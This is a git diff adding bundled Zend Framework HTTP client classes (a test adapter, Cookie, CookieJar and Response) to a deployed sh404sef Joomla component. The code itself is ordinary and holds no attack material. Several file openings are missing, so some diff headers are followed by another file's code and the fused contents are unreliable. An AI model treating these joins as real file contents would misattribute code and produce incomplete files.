$this->out_stream = $stream; + return $this; + } + + /** + * Destructor: make sure the socket is disconnected + * + * If we are in persistent TCP mode, will not close the connection + * + */ + public function __destruct() + { + if (! $this->config['persistent']) { + if ($this->socket) $this->close(); + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php new file mode 100644 index 00000000..1bc22978 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php @@ -0,0 +1,47 @@ +_nextRequestWillFail = (bool) $flag; + + return $this; + } + + /** + * Set the configuration array for the adapter + * + * @param Zendshl_Config | array $config + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + } + + + /** + * Connect to the remote server + * + * @param string $host + * @param int $port + * @param boolean $secure + * @param int $timeout + * @throws Zendshl_Http_Client_Adapter_Exception + */ + public function connect($host, $port = 80, $secure = false) + { + if ($this->_nextRequestWillFail) { + $this->_nextRequestWillFail = false; + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Request failed'); + } + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + $host = $uri->getHost(); + $host = (strtolower($uri->getScheme()) == 'https' ? 'sslv2://' . $host : $host); + + // Build request headers + $path = $uri->getPath(); + if ($uri->getQuery()) $path .= '?' . $uri->getQuery(); + $request = "{$method} {$path} HTTP/{$http_ver}\r\n"; + foreach ($headers as $k => $v) { + if (is_string($k)) $v = ucfirst($k) . ": $v"; + $request .= "$v\r\n"; + } + + // Add the request body + $request .= "\r\n" . $body; + + // Do nothing - just return the request as string + + return $request; + } + + /** + * Return the response set in $this->setResponse() + * + * @return string + */ + public function read() + { + if ($this->responseIndex >= count($this->responses)) { + $this->responseIndex = 0; + } + return $this->responses[$this->responseIndex++]; + } + + /** + * Close the connection (dummy) + * + */ + public function close() + { } + + /** + * Set the HTTP response(s) to be returned by this adapter + * + * @param Zendshl_Http_Response|array|string $response + */ + public function setResponse($response) + { + if ($response instanceof Zendshl_Http_Response) { + $response = $response->asString("\r\n"); + } + + $this->responses = (array)$response; + $this->responseIndex = 0; + } + + /** + * Add another response to the response buffer. + * + * @param string Zendshl_Http_Response|$response + */ + public function addResponse($response) + { + if ($response instanceof Zendshl_Http_Response) { + $response = $response->asString("\r\n"); + } + + $this->responses[] = $response; + } + + /** + * Sets the position of the response buffer. Selects which + * response will be returned on the next call to read(). + * + * @param integer $index + */ + public function setResponseIndex($index) + { + if ($index < 0 || $index >= count($this->responses)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Index out of range of response buffer size'); + } + $this->responseIndex = $index; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php new file mode 100644 index 00000000..7026e8d9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php @@ -0,0 +1,37 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php new file mode 100644 index 00000000..b2271b7e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php @@ -0,0 +1,425 @@ +name = (string) $name) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Cookies must have a name'); + } + + if (! $this->domain = (string) $domain) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Cookies must have a domain'); + } + + $this->value = (string) $value; + $this->expires = ($expires === null ? null : (int) $expires); + $this->path = ($path ? $path : '/'); + $this->secure = $secure; + } + + /** + * Get Cookie name + * + * @return string + */ + public function getName() + { + return $this->name; + } + + /** + * Get cookie value + * + * @return string + */ + public function getValue() + { + return $this->value; + } + + /** + * Get cookie domain + * + * @return string + */ + public function getDomain() + { + return $this->domain; + } + + /** + * Get the cookie path + * + * @return string + */ + public function getPath() + { + return $this->path; + } + + /** + * Get the expiry time of the cookie, or null if no expiry time is set + * + * @return int|null + */ + public function getExpiryTime() + { + return $this->expires; + } + + /** + * Check whether the cookie should only be sent over secure connections + * + * @return boolean + */ + public function isSecure() + { + return $this->secure; + } + + /** + * Check whether the cookie has expired + * + * Always returns false if the cookie is a session cookie (has no expiry time) + * + * @param int $now Timestamp to consider as "now" + * @return boolean + */ + public function isExpired($now = null) + { + if ($now === null) $now = time(); + if (is_int($this->expires) && $this->expires < $now) { + return true; + } else { + return false; + } + } + + /** + * Check whether the cookie is a session cookie (has no expiry time set) + * + * @return boolean + */ + public function isSessionCookie() + { + return ($this->expires === null); + } + + /** + * Checks whether the cookie should be sent or not in a specific scenario + * + * @param string|Zendshl_Uri_Http $uri URI to check against (secure, domain, path) + * @param boolean $matchSessionCookies Whether to send session cookies + * @param int $now Override the current time when checking for expiry time + * @return boolean + */ + public function match($uri, $matchSessionCookies = true, $now = null) + { + if (is_string ($uri)) { + $uri = Zendshl_Uri_Http::factory($uri); + } + + // Make sure we have a valid Zendshl_Uri_Http object + if (! ($uri->valid() && ($uri->getScheme() == 'http' || $uri->getScheme() =='https'))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Passed URI is not a valid HTTP or HTTPS URI'); + } + + // Check that the cookie is secure (if required) and not expired + if ($this->secure && $uri->getScheme() != 'https') return false; + if ($this->isExpired($now)) return false; + if ($this->isSessionCookie() && ! $matchSessionCookies) return false; + + // Check if the domain matches + if (! self::matchCookieDomain($this->getDomain(), $uri->getHost())) { + return false; + } + + // Check that path matches using prefix match + if (! self::matchCookiePath($this->getPath(), $uri->getPath())) { + return false; + } + + // If we didn't die until now, return true. + return true; + } + + /** + * Get the cookie as a string, suitable for sending as a "Cookie" header in an + * HTTP request + * + * @return string + */ + public function __toString() + { + if ($this->encodeValue) { + return $this->name . '=' . urlencode($this->value) . ';'; + } + return $this->name . '=' . $this->value . ';'; + } + + /** + * Generate a new Cookie object from a cookie string + * (for example the value of the Set-Cookie HTTP header) + * + * @param string $cookieStr + * @param Zendshl_Uri_Http|string $refUri Reference URI for default values (domain, path) + * @param boolean $encodeValue Whether or not the cookie's value should be + * passed through urlencode/urldecode + * @return Zendshl_Http_Cookie A new Zendshl_Http_Cookie object or false on failure. + */ + public static function fromString($cookieStr, $refUri = null, $encodeValue = true) + { + // Set default values + if (is_string($refUri)) { + $refUri = Zendshl_Uri_Http::factory($refUri); + } + + $name = ''; + $value = ''; + $domain = ''; + $path = ''; + $expires = null; + $secure = false; + $parts = explode(';', $cookieStr); + + // If first part does not include '=', fail + if (strpos($parts[0], '=') === false) return false; + + // Get the name and value of the cookie + list($name, $value) = explode('=', trim(array_shift($parts)), 2); + $name = trim($name); + if ($encodeValue) { + $value = urldecode(trim($value)); + } + + // Set default domain and path + if ($refUri instanceof Zendshl_Uri_Http) { + $domain = $refUri->getHost(); + $path = $refUri->getPath(); + $path = substr($path, 0, strrpos($path, '/')); + } + + // Set other cookie parameters + foreach ($parts as $part) { + $part = trim($part); + if (strtolower($part) == 'secure') { + $secure = true; + continue; + } + + $keyValue = explode('=', $part, 2); + if (count($keyValue) == 2) { + list($k, $v) = $keyValue; + switch (strtolower($k)) { + case 'expires': + if(($expires = strtotime($v)) === false) { + /** + * The expiration is past Tue, 19 Jan 2038 03:14:07 UTC + * the maximum for 32-bit signed integer. Zendshl_Date + * can get around that limit. + * + * @see Zendshl_Date + */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Date.php'; + + $expireDate = new Zendshl_Date($v); + $expires = $expireDate->getTimestamp(); + } + break; + + case 'path': + $path = $v; + break; + + case 'domain': + $domain = $v; + break; + + default: + break; + } + } + } + + if ($name !== '') { + $ret = new self($name, $value, $domain, $expires, $path, $secure); + $ret->encodeValue = ($encodeValue) ? true : false; + return $ret; + } else { + return false; + } + } + + /** + * Check if a cookie's domain matches a host name. + * + * Used by Zendshl_Http_Cookie and Zendshl_Http_CookieJar for cookie matching + * + * @param string $cookieDomain + * @param string $host + * + * @return boolean + */ + public static function matchCookieDomain($cookieDomain, $host) + { + if (! $cookieDomain) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$cookieDomain is expected to be a cookie domain"); + } + + if (! $host) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$host is expected to be a host name"); + } + + $cookieDomain = strtolower($cookieDomain); + $host = strtolower($host); + + if ($cookieDomain[0] == '.') { + $cookieDomain = substr($cookieDomain, 1); + } + + // Check for either exact match or suffix match + return ($cookieDomain == $host || + preg_match('/\.' . preg_quote($cookieDomain) . '$/', $host)); + } + + /** + * Check if a cookie's path matches a URL path + * + * Used by Zendshl_Http_Cookie and Zendshl_Http_CookieJar for cookie matching + * + * @param string $cookiePath + * @param string $path + * @return boolean + */ + public static function matchCookiePath($cookiePath, $path) + { + if (! $cookiePath) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$cookiePath is expected to be a cookie path"); + } + + if (! $path) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$path is expected to be a host name"); + } + + return (strpos($path, $cookiePath) === 0); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php new file mode 100644 index 00000000..0b0bdbeb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php @@ -0,0 +1,406 @@ +getDomain(); + $path = $cookie->getPath(); + if (! isset($this->cookies[$domain])) $this->cookies[$domain] = array(); + if (! isset($this->cookies[$domain][$path])) $this->cookies[$domain][$path] = array(); + $this->cookies[$domain][$path][$cookie->getName()] = $cookie; + $this->_rawCookies[] = $cookie; + } else { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Supplient argument is not a valid cookie string or object'); + } + } + + /** + * Parse an HTTP response, adding all the cookies set in that response + * to the cookie jar. + * + * @param Zendshl_Http_Response $response + * @param Zendshl_Uri_Http|string $ref_uri Requested URI + * @param boolean $encodeValue + */ + public function addCookiesFromResponse($response, $ref_uri, $encodeValue = true) + { + if (! $response instanceof Zendshl_Http_Response) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('$response is expected to be a Response object, ' . + gettype($response) . ' was passed'); + } + + $cookie_hdrs = $response->getHeader('Set-Cookie'); + + if (is_array($cookie_hdrs)) { + foreach ($cookie_hdrs as $cookie) { + $this->addCookie($cookie, $ref_uri, $encodeValue); + } + } elseif (is_string($cookie_hdrs)) { + $this->addCookie($cookie_hdrs, $ref_uri, $encodeValue); + } + } + + /** + * Get all cookies in the cookie jar as an array + * + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @return array|string + */ + public function getAllCookies($ret_as = self::COOKIE_OBJECT) + { + $cookies = $this->_flattenCookiesArray($this->cookies, $ret_as); + return $cookies; + } + + /** + * Return an array of all cookies matching a specific request according to the request URI, + * whether session cookies should be sent or not, and the time to consider as "now" when + * checking cookie expiry time. + * + * @param string|Zendshl_Uri_Http $uri URI to check against (secure, domain, path) + * @param boolean $matchSessionCookies Whether to send session cookies + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @param int $now Override the current time when checking for expiry time + * @return array|string + */ + public function getMatchingCookies($uri, $matchSessionCookies = true, + $ret_as = self::COOKIE_OBJECT, $now = null) + { + if (is_string($uri)) $uri = Zendshl_Uri::factory($uri); + if (! $uri instanceof Zendshl_Uri_Http) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid URI string or object passed"); + } + + // First, reduce the array of cookies to only those matching domain and path + $cookies = $this->_matchDomain($uri->getHost()); + $cookies = $this->_matchPath($cookies, $uri->getPath()); + $cookies = $this->_flattenCookiesArray($cookies, self::COOKIE_OBJECT); + + // Next, run Cookie->match on all cookies to check secure, time and session mathcing + $ret = array(); + foreach ($cookies as $cookie) + if ($cookie->match($uri, $matchSessionCookies, $now)) + $ret[] = $cookie; + + // Now, use self::_flattenCookiesArray again - only to convert to the return format ;) + $ret = $this->_flattenCookiesArray($ret, $ret_as); + + return $ret; + } + + /** + * Get a specific cookie according to a URI and name + * + * @param Zendshl_Uri_Http|string $uri The uri (domain and path) to match + * @param string $cookie_name The cookie's name + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @return Zendshl_Http_Cookie|string + */ + public function getCookie($uri, $cookie_name, $ret_as = self::COOKIE_OBJECT) + { + if (is_string($uri)) { + $uri = Zendshl_Uri::factory($uri); + } + + if (! $uri instanceof Zendshl_Uri_Http) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Invalid URI specified'); + } + + // Get correct cookie path + $path = $uri->getPath(); + $path = substr($path, 0, strrpos($path, '/')); + if (! $path) $path = '/'; + + if (isset($this->cookies[$uri->getHost()][$path][$cookie_name])) { + $cookie = $this->cookies[$uri->getHost()][$path][$cookie_name]; + + switch ($ret_as) { + case self::COOKIE_OBJECT: + return $cookie; + break; + + case self::COOKIE_STRING_ARRAY: + case self::COOKIE_STRING_CONCAT: + return $cookie->__toString(); + break; + + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid value passed for \$ret_as: {$ret_as}"); + break; + } + } else { + return false; + } + } + + /** + * Helper function to recursivly flatten an array. Shoud be used when exporting the + * cookies array (or parts of it) + * + * @param Zendshl_Http_Cookie|array $ptr + * @param int $ret_as What value to return + * @return array|string + */ + protected function _flattenCookiesArray($ptr, $ret_as = self::COOKIE_OBJECT) { + if (is_array($ptr)) { + $ret = ($ret_as == self::COOKIE_STRING_CONCAT ? '' : array()); + foreach ($ptr as $item) { + if ($ret_as == self::COOKIE_STRING_CONCAT) { + $ret .= $this->_flattenCookiesArray($item, $ret_as); + } else { + $ret = array_merge($ret, $this->_flattenCookiesArray($item, $ret_as)); + } + } + return $ret; + } elseif ($ptr instanceof Zendshl_Http_Cookie) { + switch ($ret_as) { + case self::COOKIE_STRING_ARRAY: + return array($ptr->__toString()); + break; + + case self::COOKIE_STRING_CONCAT: + return $ptr->__toString(); + break; + + case self::COOKIE_OBJECT: + default: + return array($ptr); + break; + } + } + + return null; + } + + /** + * Return a subset of the cookies array matching a specific domain + * + * @param string $domain + * @return array + */ + protected function _matchDomain($domain) + { + $ret = array(); + + foreach (array_keys($this->cookies) as $cdom) { + if (Zendshl_Http_Cookie::matchCookieDomain($cdom, $domain)) { + $ret[$cdom] = $this->cookies[$cdom]; + } + } + + return $ret; + } + + /** + * Return a subset of a domain-matching cookies that also match a specified path + * + * @param array $dom_array + * @param string $path + * @return array + */ + protected function _matchPath($domains, $path) + { + $ret = array(); + + foreach ($domains as $dom => $paths_array) { + foreach (array_keys($paths_array) as $cpath) { + if (Zendshl_Http_Cookie::matchCookiePath($cpath, $path)) { + if (! isset($ret[$dom])) { + $ret[$dom] = array(); + } + + $ret[$dom][$cpath] = $paths_array[$cpath]; + } + } + } + + return $ret; + } + + /** + * Create a new CookieJar object and automatically load into it all the + * cookies set in an Http_Response object. If $uri is set, it will be + * considered as the requested URI for setting default domain and path + * of the cookie. + * + * @param Zendshl_Http_Response $response HTTP Response object + * @param Zendshl_Uri_Http|string $uri The requested URI + * @return Zendshl_Http_CookieJar + * @todo Add the $uri functionality. + */ + public static function fromResponse(Zendshl_Http_Response $response, $ref_uri) + { + $jar = new self(); + $jar->addCookiesFromResponse($response, $ref_uri); + return $jar; + } + + /** + * Required by Countable interface + * + * @return int + */ + public function count() + { + return count($this->_rawCookies); + } + + /** + * Required by IteratorAggregate interface + * + * @return ArrayIterator + */ + public function getIterator() + { + return new ArrayIterator($this->_rawCookies); + } + + /** + * Tells if the jar is empty of any cookie + * + * @return bool + */ + public function isEmpty() + { + return count($this) == 0; + } + + /** + * Empties the cookieJar of any cookie + * + * @return Zendshl_Http_CookieJar + */ + public function reset() + { + $this->cookies = $this->_rawCookies = array(); + return $this; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php new file mode 100644 index 00000000..aab52178 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php @@ -0,0 +1,37 @@ + 'Continue', + 101 => 'Switching Protocols', + + // Success 2xx + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + + // Redirection 3xx + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', // 1.1 + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + // 306 is deprecated but reserved + 307 => 'Temporary Redirect', + + // Client Error 4xx + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Requested Range Not Satisfiable', + 417 => 'Expectation Failed', + + // Server Error 5xx + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported', + 509 => 'Bandwidth Limit Exceeded' + ); + + /** + * The HTTP version (1.0, 1.1) + * + * @var string + */ + protected $version; + + /** + * The HTTP response code + * + * @var int + */ + protected $code; + + /** + * The HTTP response code as string + * (e.g. 'Not Found' for 404 or 'Internal Server Error' for 500) + * + * @var string + */ + protected $message; + + /** + * The HTTP response headers array + * + * @var array + */ + protected $headers = array(); + + /** + * The HTTP response body + * + * @var string + */ + protected $body; + + /** + * HTTP response constructor + * + * In most cases, you would use Zendshl_Http_Response::fromString to parse an HTTP + * response string and create a new Zendshl_Http_Response object. + * + * NOTE: The constructor no longer accepts nulls or empty values for the code and + * headers and will throw an exception if the passed values do not form a valid HTTP + * responses. + * + * If no message is passed, the message will be guessed according to the response code. + * + * @param int $code Response code (200, 404, ...) + * @param array $headers Headers array + * @param string $body Response body + * @param string $version HTTP version + * @param string $message Response code as text + * @throws Zendshl_Http_Exception + */ + public function __construct($code, array $headers, $body = null, $version = '1.1', $message = null) + { + // Make sure the response code is valid and set it + if (self::responseCodeAsText($code) === null) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("{$code} is not a valid HTTP response code"); + } + + $this->code = $code; + + foreach ($headers as $name => $value) { + if (is_int($name)) { + $header = explode(":", $value, 2); + if (count($header) != 2) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("'{$value}' is not a valid HTTP header"); + } + + $name = trim($header[0]); + $value = trim($header[1]); + } + + $this->headers[ucwords(strtolower($name))] = $value; + } + + // Set the body + $this->body = $body; + + // Set the HTTP version + if (! preg_match('|^\d\.\d$|', $version)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid HTTP response version: $version"); + } + + $this->version = $version; + + // If we got the response message, set it. Else, set it according to + // the response code + if (is_string($message)) { + $this->message = $message; + } else { + $this->message = self::responseCodeAsText($code); + } + } + + /** + * Check whether the response is an error + * + * @return boolean + */ + public function isError() + { + $restype = floor($this->code / 100); + if ($restype == 4 || $restype == 5) { + return true; + } + + return false; + } + + /** + * Check whether the response in successful + * + * @return boolean + */ + public function isSuccessful() + { + $restype = floor($this->code / 100); + if ($restype == 2 || $restype == 1) { // Shouldn't 3xx count as success as well ??? + return true; + } + + return false; + } + + /** + * Check whether the response is a redirection + * + * @return boolean + */ + public function isRedirect() + { + $restype = floor($this->code / 100); + if ($restype == 3) { + return true; + } + + return false; + } + + /** + * Get the response body as string + * + * This method returns the body of the HTTP response (the content), as it + * should be in it's readable version - that is, after decoding it (if it + * was decoded), deflating it (if it was gzip compressed), etc. + * + * If you want to get the raw body (as transfered on wire) use + * $this->getRawBody() instead. + * + * @return string + */ + public function getBody() + { + $body = ''; + + // Decode the body if it was transfer-encoded + switch (strtolower($this->getHeader('transfer-encoding'))) { + + // Handle chunked body + case 'chunked': + $body = self::decodeChunkedBody($this->body); + break; + + // No transfer encoding, or unknown encoding extension: + // return body as is + default: + $body = $this->body; + break; + } + + // Decode any content-encoding (gzip or deflate) if needed + switch (strtolower($this->getHeader('content-encoding'))) { + + // Handle gzip encoding + case 'gzip': + $body = self::decodeGzip($body); + break; + + // Handle deflate encoding + case 'deflate': + $body = self::decodeDeflate($body); + break; + + default: + break; + } + + return $body; + } + + /** + * Get the raw response body (as transfered "on wire") as string + * + * If the body is encoded (with Transfer-Encoding, not content-encoding - + * IE "chunked" body), gzip compressed, etc. it will not be decoded. + * + * @return string + */ + public function getRawBody() + { + return $this->body; + } + + /** + * Get the HTTP version of the response + * + * @return string + */ + public function getVersion() + { + return $this->version; + } + + /** + * Get the HTTP response status code + * + * @return int + */ + public function getStatus() + { + return $this->code; + } + + /** + * Return a message describing the HTTP response code + * (Eg. "OK", "Not Found", "Moved Permanently") + * + * @return string + */ + public function getMessage() + { + return $this->message; + } + + /** + * Get the response headers + * + * @return array + */ + public function getHeaders() + { + return $this->headers; + } + + /** + * Get a specific header as string, or null if it is not set + * + * @param string$header + * @return string|array|null + */ + public function getHeader($header) + { + $header = ucwords(strtolower($header)); + if (! is_string($header) || ! isset($this->headers[$header])) return null; + + return $this->headers[$header]; + } + + /** + * Get all headers as string + * + * @param boolean $status_line Whether to return the first status line (IE "HTTP 200 OK") + * @param string $br Line breaks (eg. "\n", "\r\n", "
    ") + * @return string + */ + public function getHeadersAsString($status_line = true, $br = "\n") + { + $str = ''; + + if ($status_line) { + $str = "HTTP/{$this->version} {$this->code} {$this->message}{$br}"; + } + + // Iterate over the headers and stringify them + foreach ($this->headers as $name => $value) + { + if (is_string($value)) + $str .= "{$name}: {$value}{$br}"; + + elseif (is_array($value)) { + foreach ($value as $subval) { + $str .= "{$name}: {$subval}{$br}"; + } + } + } + + return $str; + } + + /** + * Get the entire response as string + * + * @param string $br Line breaks (eg. "\n", "\r\n", "
    ") + * @return string + */ + public function asString($br = "\n") + { + return $this->getHeadersAsString(true, $br) . $br . $this->getRawBody(); + } + + /** + * Implements magic __toString() + * + * @return string + */ + public function __toString() + { + return $this->asString(); + } + + /** + * A convenience function that returns a text representation of + * HTTP response codes. Returns 'Unknown' for unknown codes. + * Returns array of all codes, if $code is not specified. + * + * Conforms to HTTP/1.1 as defined in RFC 2616 (except for 'Unknown') + * See http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10 for reference + * + * @param int $code HTTP response code + * @param boolean $http11 Use HTTP version 1.1 + * @return string + */ + public static function responseCodeAsText($code = null, $http11 = true) + { + $messages = self::$messages; + if (! $http11) $messages[302] = 'Moved Temporarily'; + + if ($code === null) { + return $messages; + } elseif (isset($messages[$code])) { + return $messages[$code]; + } else { + return 'Unknown'; + } + } + + /** + * Extract the response code from a response string + * + * @param string $response_str + * @return int + */ + public static function extractCode($response_str) + { + preg_match("|^HTTP/[\d\.x]+ (\d+)|", $response_str, $m); + + if (isset($m[1])) { + return (int) $m[1]; + } else { + return false; + } + } + + /** + * Extract the HTTP message from a response + * + * @param string $response_str + * @return string + */ + public static function extractMessage($response_str) + { + preg_match("|^HTTP/[\d\.x]+ \d+ ([^\r\n]+)|", $response_str, $m); + + if (isset($m[1])) { + return $m[1]; + } else { + return false; + } + } + + /** + * Extract the HTTP version from a response + * + * @param string $response_str + * @return string + */ + public static function extractVersion($response_str) + { + preg_match("|^HTTP/([\d\.x]+) \d+|", $response_str, $m); + + if (isset($m[1])) { + return $m[1]; + } else { + return false; + } + } + + /** + * Extract the headers from a response string + * + * @param string $response_str + * @return array + */ + public static function extractHeaders($response_str) + { + $headers = array(); + + // First, split body and headers + $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2); + if (! $parts[0]) return $headers; + + // Split headers part to lines + $lines = explode("\n", $parts[0]); + unset($parts); + $last_header = null; + + foreach($lines as $line) { + $line = trim($line, "\r\n"); + if ($line == "") break; + + // Locate headers like 'Location: ...' and 'Location:...' (note the missing space) + if (preg_match("|^([\w-]+):\s*(.+)|", $line, $m)) { + unset($last_header); + $h_name = strtolower($m[1]); + $h_value = $m[2]; + + if (isset($headers[$h_name])) { + if (! is_array($headers[$h_name])) { + $headers[$h_name] = array($headers[$h_name]); + } + + $headers[$h_name][] = $h_value; + } else { + $headers[$h_name] = $h_value; + } + $last_header = $h_name; + } elseif (preg_match("|^\s+(.+)$|", $line, $m) && $last_header !== null) { + if (is_array($headers[$last_header])) { + end($headers[$last_header]); + $last_header_key = key($headers[$last_header]); + $headers[$last_header][$last_header_key] .= $m[1]; + } else { + $headers[$last_header] .= $m[1]; + } + } + } + + return $headers; + } + + /** + * Extract the body from a response string + * + * @param string $response_str + * @return string + */ + public static function extractBody($response_str) + { + $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2); + if (isset($parts[1])) { + return $parts[1]; + } + return ''; + } + + /** + * Decode a "chunked" transfer-encoded body and return the decoded text + * + * @param string $body + * @return string + */ + public static function decodeChunkedBody($body) + { + $decBody = ''; + + // If mbstring overloads substr and strlen functions, we have to + // override it's internal encoding + if (function_exists('mb_internal_encoding') && + ((int) ini_get('mbstring.func_overload')) & 2) { + + $mbIntEnc = mb_internal_encoding(); + mb_internal_encoding('ASCII'); + } + + while (trim($body)) { + if (! preg_match("/^([\da-fA-F]+)[^\r\n]*\r\n/sm", $body, $m)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Error parsing body - doesn't seem to be a chunked message"); + } + + $length = hexdec(trim($m[1])); + $cut = strlen($m[0]); + $decBody .= substr($body, $cut, $length); + $body = substr($body, $cut + $length + 2); + } + + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $decBody; + } + + /** + * Decode a gzip encoded message (when Content-encoding = gzip) + * + * Currently requires PHP with zlib support + * + * @param string $body + * @return string + */ + public static function decodeGzip($body) + { + if (! function_exists('gzinflate')) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception( + 'zlib extension is required in order to decode "gzip" encoding' + ); + } + + return gzinflate(substr($body, 10)); + } + + /** + * Decode a zlib deflated message (when 